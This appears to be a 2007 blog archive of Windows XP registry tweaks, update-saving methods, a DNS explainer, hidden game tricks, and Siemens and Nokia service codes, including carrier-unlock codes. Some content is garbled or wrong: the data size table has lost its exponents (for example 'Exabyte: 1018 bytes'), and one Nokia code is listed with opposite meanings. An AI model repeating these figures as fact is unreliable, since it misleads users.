If no entries were found in the previous step and the application launches automatically, navigate to

HKEY_CURRENT_USER\Software\M*cro$oft\Windows NT\CurrentVersion\Windows

and delete the entry.

82)Create a right-click command prompt option
You can right-click a folder to get a list of actions you can apply to it. Here?s a way to create an action on that right-click menu that opens a command prompt window with that folder as the current directory. In a text editor such as Notepad, type the following exactly:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Folder\shell\Cmd Here]

@=?Command &Prompt Here?

[HKEY_CLASSES-ROOT\Folder\shell\Cmd Here\command]

@=?cmd.exe /k pushd %L?

Save the file with any name you want, with a .reg extension. Then double-click the saved file and choose Yes to merge the file?s information into the Registry. You can delete the file. Right-click any folder and you?ll see the CommandPrompt Here option.

83)Erase the swap file at shutdown
You might be concerned about someone browsing your users? swap files and gathering up little bits of their sensitive data. A remote possibility, to be sure, but it could happen. For that extra measure of security, go to:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Memory Management

Set the ClearPageFileAtShutdown DWORD to 1. This will make shutdowns take longer, because it overwrites everything in the swap file with zeroes. Don?t turn this feature on unless you have a serious security threat.

84)Change the desktop cleanup frequency
Through Display Properties (Desktop tab, Customize Desktop button, General tab), you can turn on and off a feature that runs the Desktop Cleanup Wizard every 60 days. You don?t have an option to set a different interval there, but you can change the interval in the Registry. To do so, go to:

HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Explorer\Desktop\CleanupWiz

Change the Days Between Clean Up Value to some other number of days (in decimal format).

85)Sort menus alphabetically
When you install a new program for a user, it doesn?t find its place in the alphabetical Start menu hierarchy right away; it hangs out at the bottom for a little while. If your users employ the Classic Start menu, they can re-alphabetize it manually by right-clicking the taskbar and choosing Properties, clicking the Customize button next to the Classic Start Menu, and clicking the Sort button. With the Windows XP style of Start menu, however, you don?t have an equivalent button. To make Windows always alphabetize the list, remove the permissions from the Registry key that controls the sort order for the Start menu. To do so, go to:

HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Explorer\MenuOrder

Choose Edit | Permissions and click the Advanced button. Deselect the Inherit From Parent The Permission Entries That Apply To Child Objects check box and then click Copy when the Security dialog box pops up. Click OK and clear the Full Control entry for your account and all security groups you are a member of. Leave only Read permission.

86)Prevent programs from loading at startup
Remember back in the good old days of Windows 3.1 when you could open up the Win.ini file in a text editor and remove an item from the RUN= line to disable it from running at startup? With Windows 9x and above, the Win.ini file became less useful because 32-bit programs were set to run at startup from within the Registry instead.

One way to selectively disable programs from loading at startup is to use MSCONFIG (from the Run command) to deselect certain items. Another way to remove them is to edit the Registry directly. Consider the following locations:

HKEY_LOCAL_MACHINE\Software\M*cro$oft\Windows\CurrentVersion\Run

for applications that start up for all users

HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Run

for applications that start up when the current user logs on

Remove the entry for a program by right-clicking it and selecting Delete to prevent it from loading.

87)Change categories in the Control Panel
Windows XP?s Control Panel is broken down by category in the default Category view, but the group to which an item belongs is not always obvious. If you disagree with M*cro$oft?s assignments, you can switch them around. To assign a different category to an item, go to:

HKEY_LOCAL_MACHINE\SOFTWARE\M*cro$oft\Windows\CurrentVersion\Control Panel\Extended Properties\
{305CA226-D286-468e-B848-2B2E8E697B74} 2

Find the item you want to change and double-click it to bring up a dialog box. Change the item?s DWORD value to your preference. Use the Table given below as a guide (shown with decimal numbers, which is the way you should enter them).

DWORD value to set

Other Control Panel Options 0

Appearance and Themes 1

Printers and Other Hardware 2

Network and Internet Connections 3

Sounds, Speed, and Audio Devices 4

Performance and Maintenance 5

Date, Time, Language, and Regional Options 6

Accessibility Options 7

Add or Remove Programs 8

User Accounts 9

88)Grouping multiple open windows
Windows XP will group multiple open windows (IE windows for example) into one group on the task bar to keep the taskbar clear. This can be annoying at times - especially when comparing different web pages because you have to go back to the task bar, click on the group and then click on the page you want and then you only get one page because you have to click on each one separately. I think the default for this is 8 windows - any combination of apps or utilities open.

You can modify this behavior by adding this registry key at:

HKEY_CURRRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Explorer\Advanced\

add a Dword value of type REG_DWORD named [TaskbarGroupSize]

modify "TaskbarGroupSize" entry to be the number of windows you want open before XP starts to group them on the task bar.

A value of 2 will cause the Taskbar buttons to always group

Another tweak is to disable or enable recent documents history. This can be done at:

HKEY_CURRRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Policies\Explorer\

this key should already be present - if it isn't you'll need to add it:

Add a Binary value of type REG_BINARY named [NoRecentDocsHistory]

modify it so that value reads 01 00 00 00

89)Disable Ballon Tips
To disable Ballon tips in Windows XP do this registry tweak

Go to : HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Explorer\Advanced

Create a new DWORD value, name it EnableBalloonTips, and set it equal to 0. If EnableBalloonTips is already there and equal to 1, set it equal to 0. Quit the registry editor, log off, and log back on. Voila! Your computer will stop talking down to you.

90)Change the CHKDSK countdown time
When you schedule CHKDSK to run at the next boot, the system will prompt you to press a key to cancel the operation while CHKDSK is running. The system will display a countdown during that cancel period. The default value is 10 seconds. To Change this open up Regedit and locate:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AutoChkTimeOut
You can change the value to anything from zero to 259,200 seconds (3 days). With a timeout of zero, there is no countdown and you cannot cancel the operation

91)Clear the Page File (virtual memory) when shutting down XP
As mentioned above, the page file is an area of your hard disk that Windows uses as extra memory space to store files and data that are currently being used. Of course, since Hard drives are magnetic storage devices, and not dynamic like RAM, the data stored in the page file stays there until it is cleared or over-written.
This data may possibly contain unencrypted passwords or other sensitive information since many third party programs do not bother to encrypt data that is being passed to the memory, even though it may end up on the page file. A simple registry change can force Windows XP to clear the page file each time it shuts down. Note that enabling this will increase the time it takes your system to shutdown.
Open REGEDIT
Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
Modify the ClearPageFileAtShutdown value to '1'
For customization

92)Stop the 'last access update' from taking up system resources
Every time a directory on an NTFS drive is accessed by Windows XP, it updates that directory and every subdirectory with a time stamp to indicate the date of access. In folders with a lot of subdirectories, this can add considerable overhead to whatever your PC happens to be doing. This process can be disabled through the registry:
Open REGEDIT
Navigate to HKEY_LOCAL_MACHINES\System\CurrentControlSet\Control\FileSystem.
Create a new DWORD value called 'NtfsDisableLastAccessUpdate' and set the value to '1'

93)Keep Windows operating data in main memory
Windows XP contains several tweakable memory settings in the registry, one of which is the DisablePagingExecutive registry key. This controls whether the operating system will transfer its essential driver and kernel files to the 'virtual memory' (the page file on the hard disk). It defaults to allowing this.
Obviously, transferring portions of the system to hard drive memory can considerably slow things down, and it appears that Windows XP does this periodically, whether or not the system is actually low on physical memory (RAM). If you have 256MB of system memory or more, try this registry tweak to force Windows to keep its operating data in main memory:

Open Regedit.
Navigate to HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\Memory Management.
Select the DisablePagingExecutive value to '1'

94)Set power options

You can easily edit Windows XP's power options to affect such things as how long it takes the monitor to turn off (if ever) when the machine is idle, and whether your Hard drives will spin down after a certain period of idle time to save energy and wear and tear. To edit XP's power options:

Go to 'start\control panel\power options.'

From here you can choose one of several set power schemes, or change the settings on the three main power saving options, turn off monitor, turn off hard disks and system standby.

95)Set monitor refresh rate

CRT, or Cathode Ray Tube monitors, though differing from televisions in several respects, share one important characteristic. Like TVs, the picture you see is constantly being redrawn on the screen. This refreshing action is the cause of the almost imperceptible flicker seen in the typical computer monitor image.

Now, the slower the monitor refreshes itself, the more perceptible this flicker is, and the more perceptible the flickering is, the more likely you are to suffer from eyestrain, headaches and general fatigue as a result of it. Windows XP defaults to a refresh rate of just 60Hz, meaning that the screen redraws itself 60 times a second. This is pretty much the lowest acceptable rate, and higher refresh settings can have a considerable positive effect on computer experience.

Let's look at how to change them.

Note that refresh settings are limited to a certain degree by the capabilities of your video card, and to a much greater degree by the capabilities of your monitor.

Every monitor has a maximum refresh rate it is capable of displaying at a given resolution (for example, a typical 17-inch monitor of a few years ago will happily crank out 85Hz or more at a resolution of 800x600, but may only be capable of 60Hz at 1600x1200).

If this refresh rate is exceeded, the image will be distorted and unusable.

Older CRT monitors, especially 15-inch or smaller ones, tend not to be capable of a refresh rate much over 60Hz, especially at resolutions greater than 640X480. Also, setting the refresh rate does not have the same effect on LCD or flat panel monitors, as their screens are not redrawn in the same way.

To change your monitor refresh rate: Right click on an empty space on your desktop (no icons) and select 'properties.' Click the 'settings' tab and choose the 'advanced' button. Now choose the 'adaptor' tab and click the 'show all modes' button.

This presents you with a list of resolution, colour and refresh rate options that your video card\monitor combination is capable of displaying. You can experiment with these settings by using the 'apply' button. Note that a refresh rate of 75Hz or above is generally recommended, (keep in mind most monitors do not support settings higher than 85Hz).

After you set the refresh rate, you may feel a little uncomfortable for a short while as your eyes adjust, but rest assured you will grow to appreciate the difference in ease of viewing.

96)Giving a password to the 'Guest' user account

Windows XP contains a guest account (turned off by default in XP Pro) that has the rather unique distinction of not having a password. Not only does the account not have a password, you can't even set one. As you can see, if this account is active, it presents a slight security risk. Fortunately, there is an easy way to assign a password to the guest account:

To apply a Password to the guest account:

Using an account with administrative privileges, go to the command prompt ('start\run' then type 'cmd') and enter the following command:

'Net user guest password'

Now go to 'start\control panel\user accounts' and activate the guest account if it is not already. You will be able to assign and change its password.

97)Creating a desktop shortcut for locking your computer

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:

Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'

You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.

In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.

98)Add, Clear or remove the 'my recent documents' menu

In Windows XP Professional, the Start menu contains a 'My Recent Documents' folder that holds 15 of your most recently accessed documents. If, for privacy reasons, you would like to remove this feature, or at least clear it, read on:

Right-click the start button, select 'properties' then 'customize.' Select the 'advanced' tab. At the bottom, in the 'recent documents' section, you have the options to clear the list, or remove it completely.

If you are using Windows XP Home and you would like to have the 'my recent documents' folder available to you: Right-click the start button, select 'properties' then 'customize.' Select the 'advanced' tab. Now place a checkmark in the 'list my most recently opened documents' check box.

99)Disable simple file sharing (XP Professional only)

Windows XP uses a new streamlined method of sharing files, called 'simple file sharing,' by default. This method is similar to the system used with Windows 9x/ME in that it does not check user credentials before allowing access to the share. The only option you can specify is whether remote users have the ability to change the share by adding editing or deleting files.

If you desire more security for your shares, you can revert to the higher security method of sharing files used in Windows 2000. This allows you to specify whether individual users on your system are allowed to access each share, and whether they can change the shared data or only read and copy it.

To implement this: Go to 'my computer.' Select 'tools' from the menu and click 'folder options.' Choose the 'view' tab. Find and uncheck the 'use simple file sharing' box. Click 'ok'.

100)'Rolling back' a faulty device driver

Windows XP has the ability to store previous versions of the device driver for certain hardware devices like video cards and sound cards. This enables you to 'roll back' and replace a driver that is having problems with a proven older version. Obviously, this only works if you have previously updated that device with a new driver.

To 'roll back' a driver: Right click 'my computer' and select properties, then the 'hardware tab' then the 'device manager' button. Locate and highlight the hardware device you wish to roll back the drivers on. Press the 'properties' button.

101)Compressing files and folders to save space

Windows XP includes a built in compression utility which can save you some valuable space on your hard disk by archiving little used files. Working similarly to compression programs such as PKZIP and WINRAR, the built in software reduces the space your files take up on the disk at the penalty of increased disk access time for the compressed files in question. There are several ways of compressing data on your system:

If you have a pre-existing folder and would like to compress everything in it, right click on the folder, select 'properties' then the 'advanced' button at the bottom. In the 'compress or encrypt attributes' section, check the 'compress contents to save disk space' option.

If you wish to create a compressed folder for a file or folder separate from the one it is in now, right click on the item you wish to compress and choose 'send to\compressed (zipped) folder.' This will create a new compressed folder in the same location as the original file or folder.

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All of the above tips, tricks, tweaks and registry hacks have no responsibility at all. Apply at your own risk.

Data Size Information

2007-11-20T23:02:00.000-08:00

The capacity of a computer hard disk drives and the files it contains can be confusing. Below is a listing of the standards in different size values. It is important to realize that not all manufacturers and developers use these values. For example, a manufacturer may consider a gigabyte as the value of a gibibyte.

Bit Value of 0 or 1
Nibble: 4 Bits
Byte: 8 Bits
Kilobit: 1,000 bits
Kilobyte: 1,000 bytes
Kibibit: 1,024 bits
Kibibyte: 1,024 bytes
Mebibit: 1,048,576 bits
Mebibyte: 1,048,576 bytes
Megabit: 1,000,000 bits
Megabyte: 1,000,000 bytes
Gibibit: 1,073,741,824 bits
Gibibyte: 1,073,741,824 bytes
Gigabyte: 1,000,000,000 bytes
Gigabit: 1,000,000,000 bits
Tebibit: 1,099,511,627,776 bits
Tebibyte: 1,099,511,627,776 bytes
Terabyte: 1,000,000,000,000 bytes
Terabit: 1,000,000,000,000 bits
Pebibit: 1,125,899,906,842,624 bits
Pebibyte: 1,125,899,906,842,624 bytes
Petabit: 1,000,000,000,000,000 bits
Petabyte: 1,000,000,000,000,000 bytes
Exabyte: 1018 bytes
Exabit: 1018 bits
Exbibit: 260 bits
Exbibyte: 260 bytes
Zettabyte:1021 bytes
Yottabyte: 1024 bytes

Save All Windows Updates To Your Disk

2007-11-20T22:40:00.000-08:00

Many times you really get bugged up if you had to reformat your HDD and lose all your updates installed and you have to re-download them and reinstall for which you waste your time and money. Now I will show you how to save all Windows updates to your HDD. There are several methods and we will discuss all of them.

1st Method: Easiest and only for Windows XP with SP2. Firstly you have to configure your Automatic Updates Settings through MyComputer(right click)>>properties>>Automatic Updates.

Choose the option shown in the above shot and click ok. Your SP2 Security Center may warn you but ignore or disable it. Now connect to the net and wait for some time. You will get a notification in the system tray that Updates are available for download. Now double click on the System Tray Icon and it opens up a window and now you can see all the updates listed with their KB Article Numbers.

Now copy all the numbers to your notepad and now use the link

Quote:
http://support.Microsoft .com/?kbid=XXXXXX
or the link given at the bottom of the above window.

Here XXXXXX is the 6 digit number you copied earlier. From the support page you will find a link to the patch and now you can download it conveniently.

2nd Method: Work for any Windows ? Best method you can download all the updates that are available from Automatic Updates by using the Windows Update Catalog. For additional information about how to download updates from the Windows Update Catalog, click the following article number to view the article in the Microsoft Knowledge Base:

HOW TO: Download Windows Updates and Drivers from the Windows Update Catalog

? Visit the Windows Update(v6) Web site:
Quote:

http://update.microsoft.com/

? Click Personalize Windows Update.

? Select the Display the link to the Windows Update Catalog under See Also check box.

? Click Save Settings.

? A Windows Update Catalog link appears under See Also.

? Click the Windows Update Catalog link.

? Click Find updates for Microsoft Windows operating systems.

? Click the appropriate product, and then click Search.

? Click Critical Updates and Service Packs.

? Locate the patch you want, and then click Add.

? Click Go to download basket. In the Type or browse to the download location of your choice box, type the full path for the folder in which you want to save the patch. Or, click Browse to browse to the folder. Click Download Now.

If you don?t find the link to Windows Update Catalog (as in SP2) then go to Administrator Options and there is a heading named ?Update multiple operating systems? and under it link to Windows update Catalog is given.

A manual link (no guarantee on link working on diff Windows) to Windows Update Catalog is given below:

CODE
http://v4.windowsupdate.M*cro$oft.com/catalog/en/default.asp

I used this On WinXP SP2 and it worked and plus you can download updates for any Windows i.e. you can 98 updates while running XP. This works best for Networked PC?s.

3rd Method: Works in any Windows but not always Another method to save the patch locally is to install the update ?as usual? from the Windows Updates page. Once the copy process is complete and the Install process is about to begin, look for the WUTemp folder in C:\ (or whatever drive you've installed Windows). This is the destination folder used by Windows Updates to save the hotfix. The hotfix will be deleted automatically once installed. Therefore, copy the WUTEMP directory contents to a new folder, while the install process has just started.

For Windows XP SP2, the installer is stored in a sub-folders under %Windir%\SoftwareDistribution\Download

Another Note: Sometimes you find a long named file with random characters and without an extension in %Windir%\SoftwareDistribution\Download. Try renaming the file by just adding .exe to the end of the filename. Do not modify anything else. Now right click and check its properties. It may turn out to be an update and its KB number is listed in its properties. You can now copy the update to any folder. Don?t move the update, just copy it to any location. This will work any time and even if you are not connected to the net.

Tip: After downloading the updates, save them to a CD if you?re planning to apply across multiple systems or a stand-alone system without internet connection. Before applying the downloaded updates, you can run through Windows Updates scan (don?t download yet) to know the list of Critical Updates (Q######) pertaining to that particular computer. Note all of them to a piece of paper and install them one by one from the CD. This one works even better when combined with 2nd Method.

File Hosting For Mobile WAP

2007-11-20T22:29:00.000-08:00

http://wappal.com

File hosting for mobile

You can upload any thing (ring tones , wallpapers , games, softwares)

Download for free from mobile

Understand The Domain Name System (dns)

2007-11-20T22:25:00.000-08:00

Ever wonder why DNS systems came into existence? Efficiency. Every computer has a distinct IP address, and the Internet needed an elite method for obtaining these addresses and for managing the system as a whole. Enter ICANN.

The Internet Corporation for Assigned Names and Number manages the DNS root of the Internet domain namespace. ICANN's role is to manage the assignment of identifiers, ensuring that all users have unique names.

The DNS system is run by a series of servers called DNS servers. ICANN manages the root DNS domains, under which are the top-level domains.
It also manages:

Organizational domains
Geographical domains
Reverse domains

Beneath the top-level domains are other naming authorities such as Nominet, the UK's naming authority.

How does a DNS Query work?

The process occurs in two parts. Firstly, a name query begins at a client computer and is passed to DNS client service for resolution. When the query cannot be resolved locally, DNS servers are queried.

For example, when a web browser calls the fully qualified domain name www.discountdomainsuk.com, the request is passed on to the DNS client service to resolve the name by using locally cached information. If the query is held in the cache, then the process is complete.

If, however, the query cannot be answered locally, the DNS client service uses a server list (ordered in sequence) to query external DNS servers. When a DNS server receives a query, it first checks to see if it is authoritative for that domain name. If it is authoritative, it resolves the name, and the process is complete.

If the DNS server is unable to resolve the query, it in turns queries other DNS servers, using a process known as recursion. DNS servers make use of root hints to assist in locating DNS servers, which are able to provide the required result. In this way, DNS queries are minimized and the Internet is able to operate quickly and effectively.

A typical query may run as follows:

Client contacts Nameserver A looking for www.discountdomainsuk.com.

Nameserver A checks its cache, but can't answer, so it queries a server authoritative for the Internet root.

The root server responds with a referral to a server authoritative for the .com domains. NameserverA queries the the .com server and gets referred to the server authoritative for www.discountdomainsuk.com.

Nameserver A queries this server and gets the IP address for www.discountdomainsuk.com.

Nameserver A replies to the client with the IP address.

Queries can return answers that are authoritative, positive, negative or referral in nature. In the event of a negative answer, another DNS server is queried.

Win Xp Hidden Secrets

2007-11-20T21:47:00.000-08:00

Defrag

Secret - Hidden Command Line Switch
Instructions - Go to "Start", "Run" and Type defrag c: -b to defragment the Boot and Application Prefetch information. Similar to what BootVis invokes.

Paint

Secret - Image Trails
Instructions - Open an image and hold down Shift then drag the image around to create an image trail.

Secret - 10x Zoom
Instructions - Open an image and select the magnifying glass icon. Left-Click exactly on the line below the 8x.

Game Secrets

FreeCell

Secret - Instant Win
Instructions - Hold down Ctrl + Shift + F10 during game play. Then you will be asked if you want to Abort, Retry or Ignore. Choose Abort, then move any card to instantly win.

Secret - Hidden Game Modes
Instructions - In the "Game" menu choose "Select Game". Enter -1 or -2 to activate the hidden game modes.

Minesweeper

Secret - Reveal Mines
Instructions - Minimize or close all running applications. Launch Minesweeper, then type xyzzy. Next hold down either shift key for one second. Now when you move the mouse cursor over a Minesweeper square you will see a tiny white pixel in the top left corner of your desktop screen. This pixel will change to black when your mouse moves over a mine. You may need to change you desktop background to a solid color other then white or black to see the pixel.

Pinball

Secret - Extra Balls
Instructions - Type 1max at the start of a new ball to get extra balls.

Secret - Gravity Well
Instructions - Type gmax at the start of a new game to activate the Gravity Well.

Secret - Instant Promotion
Instructions - Type rmax at the start of a new game to go up in ranks.

Secret - Skill Shot
Instructions - Launch the ball partially up the chute past the third yellow light bar so it falls back down to get 75,000 points. There are six yellow light bars that are worth a varying amount of points:

First: 15,000 points
Second: 30,000 points
Third: 75,000 points
Fourth: 30,000 points
Fifth: 15,000 points
Sixth: 7,500 points

Secret - Test Mode
Instructions - Type hidden test at the start of a new ball to activate Test Mode. No notification will be given that this is activated but you can now left-click the mouse button and drag the ball around.

Secret - Unlimited Balls
Instructions - Type bmax at the start of a new ball. No notification will be given that this is activated but when a ball is lost a new ball will appear from the yellow wormhole indefinitely. Once this is activated you will be unable to activate other secrets without restarting the game.

Solitaire

Secret - Instant Win
Instructions - Press Alt + Shift + 2 during game play to instantly win.

Secret - Draw single cards in a Draw Three game
Instructions - Hold down CTRL + ALT + SHIFT while drawing a new card. Instead of drawing three cards you will only draw one.

OS Secrets

Add/Remove

Secret - Hidden Uninstall Options
Instructions - Warning: Proceed at your own risk! Browse to C:\Windows\inf\ and make a backup copy of sysoc.inf. Then open the original file C:\Windows\inf\sysoc.inf in notepad. Go to "Edit" and select "Replace". In "Find what:" type ,hide and in "Replace with:" type , then select "Replace All", save and close the file. Go to the control panel, "Add/Remove", select "Add/Remove Windows Components". You will now see many more Windows components to uninstall. Do not remove anything with no label or that you do not recognize or fully understand what it does. Doing so can break certain functionality in Windows.

Control Panel

Secret - Hidden Control Panel Extensions
Instructions - Download and install TweakUI, launch, go to "Control Panel" and check any item not selected, then "Apply" and "OK". You will now see the hidden control panel extensions.

Device Manager

Secret - Hidden Devices
Instructions - Go to the control panel, "System" icon, "Hardware" tab and select "Device Manager". Select View and Show hidden devices.

Music

Secret - Music from the Installer
Instructions - Browse to C:\Windows\system32\oobe\images\title.wma and play.

Shutdown

Secret - Display Hibernate Option on the Shut Down dialog
Instructions - Go to "Start", "Turn Off Computer..." and press either Shift key to change the "Stand By" button to "Hibernate".

Support Tools

Secret - Over 100 Windows XP Support Utilities are on the install CD

Instructions for Pre-SP2 users - If you do not have SP2 installed, put the original Windows XP CD in the CD-ROM Drive, run the D:\Support\Tools\setup.exe file.

All Codes For Siemens / Siemens Codes / Siemens Codes List

2007-11-20T21:34:00.000-08:00

SIEMENS: MODELS CODES & DESCRIPTIONS

*#0003*(secret code 8 digits)# All Siemens Phones: Service Provider Unlock
Siemens S25/C25
SP unlock *#0003*(secret code 8 digits)#
Show IMEI code: * # 06 #
Resets language to automatic selection : * # 0000 # then Green button
Pin Out
Data Cable schematics
Phone's connector pin-out:
1- GND
2- SB
3- POWER
4- NC
5- TX
6- RX
7- CLOCK
8- DATA
9- GND MIC
10- HF MIC
11- AUDIO
12- GND AUDIO
Siemens S1/S3/S3 Com
To view the software date and else with S3 com, S4, S4Power, Sony cmdx 1000e press with SIM removed *#06# and left softkey.
To view some other stuff with S4Power, Sony cmdx 1000e press with SIM removed *#06# and left softkey twice.
To view the software date with S3 com, S4, S4Power, Sony cmdx 1000e press with SIM installed menu 98 and left softkey twice.
ACTIVATE MONITOR MODE
Siemens S1/S3
Menu, 9 (Phone Options), 7 (Phone Status), Left Display Button (left MENU key), 5553756, Hang-Up Button (Red Handset key)

Siemens S3 COM/S4:

Menu, 9 (Phone Options), 7 (Phone Status - 8 on Some), Left Display Button (left MENU key), 7684666, Hang-Up Button (Red Handset key)
Note: Now Monitor should appear at the bottom of the Network Options menu.
MONITOR MODE
Pressing the right Display Button when in monitor mode will toggle into 1 and 2 modes

Pressing the right Display Button when in monitor mode will show a list of the six cells with the strongest signals.

Test Mode Indicators: (* = only available when call in progress )
CH Channel Number

RX Signal Strength (dB)

N NCC (Colour Code)

B BCC (Colour Code)

CI Cell ID (in Hex)

C1+ How long before phone does forced hand over. (see RX and RXAM)

LAI Location Area Identity. Display Network ID code (42F010 = 240.01) and MSC

TXPWR Transmit Power (dB)

RXAM Receive signal strength cut-off point

TS* Time Slot Number

TA* Timing Advance. Distance from tower in Km X 2

PL* Power Level
POWER table
PL: 5 6 7 8 9 10 11 12 13 14 15

dB: 33 31 29 27 25 23 21 19 17 15 13

Watts: 2 1.3 .8 .5 .3 .2 .13 .08 .05 .03 .02
LF* C1 value with continuous transmission from tower

LS* C1 Value with discontinuous transmission from tower

QF* Bit Error Rate with continuous transmission from tower

QS* Bit Error Rate with discontinuous transmission from tower
BER (bit error rate) table
QF/QS register: 0 1 2 3 4 5 6 7

% of bit sent: 0.2 0.8 0.4 1.6 3.2 6.4 12.8 25.6

Siemens S1/S3:
Here's a trick to play Tetris, also known as Klotz on a Siemens S1.
Turn the phone on. Enter PIN. Before the telephone has logged in to the your GSM net do the following steps.
1: Choose F 9 (function settings)
2: Choose send own number and push the right button for choose.
3: Push 9
USE 2 as <> , rotate the klotz with 5 and drop with 4.
[I have just heard from one of the programmers of the phone that Tetris was in the phone during development, but it was removed before it was produced. Apparently someone has the patent on games in mobile phones and Siemens didn't want to pay the licensing fees. It was either in Menu F-9-9 or it's not there at all.]
Siemens S3 Comfort

MONITOR MODE:
The Siemens S3 Com series have a Monitor mode that can be activated directly from the standard user keypad. In order to activate this mode, you must enter the special access code currently programmed into the phone.
TO ACTIVATE MONITOR MODE:
Turn the phone on.
Enter the PIN access code on press OK. (Only if is enabled).
Press Menu. (Left top button).
Press 9. (Phone Options).
Press 8. (Phone Status) (May be button 7 in some phones).
You may see your IMEI Number
Left Display Button (Top left MENU key).
7684666
Hang-Up Button. (Red Handset key).

Note: Monitor should appear now at the bottom of the Network Options menu.
MONITOR MODE

Pressing the right Display Button when in monitor mode will toggle into 1 and 2 modes

Siemens S4/S4 Power:
In phonebook under "Own Phone No." enter +12022243121 (which is the number to the White House) and you'll get a greeting from the people who programmed the phone.
MONITOR MODE

The Siemens S4 series have a Monitor mode that can be activated directly from the standard user keypad. In order to activate this mode, you must enter the special access code currently programmed into the phone.
TO ACTIVATE MONITOR MODE:
Menu, 9 (Phone Options), 7 (Phone Status), Left Display Button (left MENU key), 7684666, Hang-Up Button (Red Handset key)
Now "Monitor" should appear at the bottom of the Network Options menu.
Pressing the right Display Button when in monitor mode will show a list of the six cells with the strongest signals.

Test Mode Indicators: (* = only available when call in progress )

--------------------
CH Channel Number
RX Signal Strength (dB)
N NCC (Color Code)
B BCC (Color Code)
CI Cell ID (in Hex)
C1+ how long before phone does forced hand over. (see RX and RXAM)
LAI Location Area Identity. Display Network ID code (42F010 = 240.01) and MSC
TXPWR Transmit Power (dB)
RXAM Reeceive signal strength cut-off point
TS* Time Slot Number
TA* Timing Advance. Distance from tower in Km X 2
PL* Power Level

Power Table

PL: 5 6 7 8 9 10 11 12 13 14 15
dB: 33 31 29 27 25 23 21 19 17 15 13
Watts: 2 1.3 .8 .5 .3 .2 .13 .08 .05 .03 .02

LF* C1 value with continuous transmission from tower
LS* C1 Value with discontinuous transmission from tower
QF* Bit Error Rate with continuous transmission from tower
QS* Bit Error Rate with discontinuous transmission from tower

BER (bit error rate) table
QF/QS register: 0 1 2 3 4 5 6 7
% of bit sent: 0.2 0.8 0.4 1.6 3.2 6.4 12.8 25.6

Siemens S6/S10:

In Phonebook, store as your own number: +12022243121
Then you get the sun and two palms in the display, also a greeting message of the "MMI-team".
It has been said that the phone number is the number of the Capitol building in Washington, DC (but not sure).

Siemens S15 Secret Menu's

Press * -> # -> 7 -> 4 -> 3 -> 6 -> 3 -> 6 -> 7 -> * -> 8 -> 3 ->
7 -> 8 -> # ,press clear key to clear screen and return to
stand-by mode
press Menu, it will show additional menu
Menu 3.3.4 Band selection,
Menu 3.3.4.1 Automatic band selection,
Menu 3.3.4.2 select GSM 900 only,
Menu 3.3.4.3 select GSM 1800 only,
Menu 10 Engineering,
Menu 10.1 MS info,

Menu 10.2 software detail,
Menu 10.2.1 software version,
Menu 10.2.2 EEPROM version,

Menu 10.3 Test/production details
Menu 10.3.1 Hardware deta
Menu 10.3.2 production deta
Menu 10.3.3 Service deta
Menu 10.3.4 Mechanical deta

Menu 10.1.1 MS info on, then on the screen show these, for example:

FCN RXL C1 C2
642 011+11+91 -> PAGE 1

CID DSC CB
11211 045 000 -> PAGE 2

BCC NCC TN
000 002 00 -> PAGE 3

RXf RXs RQf RQs
00 00 00 00 -> PAGE 4

ATa APa Hn Hf
001 000 05 00 -> PAGE 5

DTU DTD HP CI
+ ? - - -> PAGE 6

MM CC RR
IdNS Nul Idl -> PAGE 7

All Codes For Nokia / Nokia Codes / Nokia Codes List

2007-11-20T21:32:00.000-08:00

NOKIA: CODES DESCRIPTIONS

*3370# Activate Enhanced Full Rate Codec (EFR) - Your phone uses the best sound quality but talk time is reduced my approx. 5%
#3370# Deactivate Enhanced Full Rate Codec (EFR)
*#4720# Activate Half Rate Codec - Your phone uses a lower quality sound but you should gain approx 30% more Talk Time
*#4720# Deactivate Half Rate Codec
*#0000# Displays your phones software version, 1st Line : Software Version, 2nd Line : Software Release Date, 3rd Line : Compression Type
*#9999# Phones software version if *#0000# does not work
*#06# For checking the International Mobile Equipment Identity (IMEI Number)
#pw+1234567890+1# Provider Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)
#pw+1234567890+2# Network Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)
#pw+1234567890+3# Country Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)
#pw+1234567890+4# SIM Card Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)
*#147# (vodafone) this lets you know who called you last
*#1471# Last call (Only vodofone)
*#21# Allows you to check the number that "All Calls" are diverted to
*#2640# Displays security code in use
*#30# Lets you see the private number
*#43# Allows you to check the "Call Waiting" status of your phone.
*#61# Allows you to check the number that "On No Reply" calls are diverted to
*#62# Allows you to check the number that "Divert If Unreachable (no service)" calls are diverted to
*#67# Allows you to check the number that "On Busy Calls" are diverted to
*#67705646# Removes operator logo on 3310 & 3330
*#73# Reset phone timers and game scores
*#746025625# Displays the SIM Clock status, if your phone supports this power saving feature "SIM Clock Stop Allowed", it means you will get the best standby time possible
*#7760# Manufactures code
*#7780# Restore factory settings
*#8110# Software version for the nokia 8110
*#92702689# Displays - 1.Serial Number, 2.Date Made, 3.Purchase Date, 4.Date of last repair (0000 for no repairs), 5.Transfer User Data. To exit this mode you need to switch your phone off then on again
